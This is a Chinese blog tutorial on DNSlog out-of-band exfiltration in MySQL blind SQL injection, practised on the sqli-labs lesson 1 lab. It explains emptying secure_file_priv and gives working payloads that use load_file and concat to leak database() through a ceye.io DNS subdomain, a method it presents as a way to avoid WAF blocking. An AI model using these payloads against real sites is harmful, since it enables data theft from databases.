DNSlog外带
减轻盲注的复杂操作,运用DNSlog外带来进行操作
使用原因:
在进行盲注的时候,因为需要频繁发送访问请求,有的网站配置了waf就有可能让我们的注入受阻。所以用DNSlog外带可以减少请求并且直接回显数据,真的是绝绝子,好用到跺jiojio。
什么是DNS:
DNS(Domain Name System)就是域名系统,负责把域名转换成IP地址
什么是DNSlog:
DNSlog就是DNS的日志,DNS在域名解析的时候会留下域名和解析IP的记录
DNSlog外带原理:
DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。
使用步骤:
1、由于我们要用的MySQL的load_file函数发送请求,所以需要提前配置一下我们的my.ini文件。
打开my.ini文件,添加secure_file_priv参数,并且置空,然后登陆mysql查看设置,命令如下:
show variables like '%secure%'
发现成功置空。
该参数的值的含义如下:
当secure_file_priv为空,就可以读取任意文件
当secure_file_priv为特定的某个位置,那么就只能读取该位置的文件,如"D:\"
当secure_file_priv为NULL,load_file函数就不能加载文件。
2、在ceye.io注册域名进行DNSlog外带的尝试,注册完后获得域名,使用sql语句尝试访问,然后去到DNS Query那里查看请求是否接收
3、上面基本证明了DNSlog是可以显示出信息的,那么接下来就让我们看一下是怎么外带出信息的,首先我们先创造一个test库,然后进行查询,结果如下:
查询语句如下:
select load_file(concat('\\\\',(select database()),'.yxllh9.ceye.io\\abc'));
这里用concat拼接字符。
4、既然上面都行得通,那么就该思考如何用在靶场上了,其实简单的换一下注入的方式就可以了,这里我用的是sqli-lab里面的lesson1,是一个很简单的错误注入题,我们换一下注入的方式,注入代码如下:
?id=1' and (select load_file(concat('\\\\',(select database()),'.yxllh9.ceye.io\\abc')))#
这个样子当然是没有回显的,但是当我们查看DNSlog的时候就能发现我们需要的payload了。
哈哈,感觉有趣又好用,DNSlog外带yyds啊
忘了说了,还有查表名和字段名,这两点其实和之前在联合查询里面讲的基本一样,不过要注意limit一下,因为load_file只能读取一个目录
更多推荐
所有评论(0)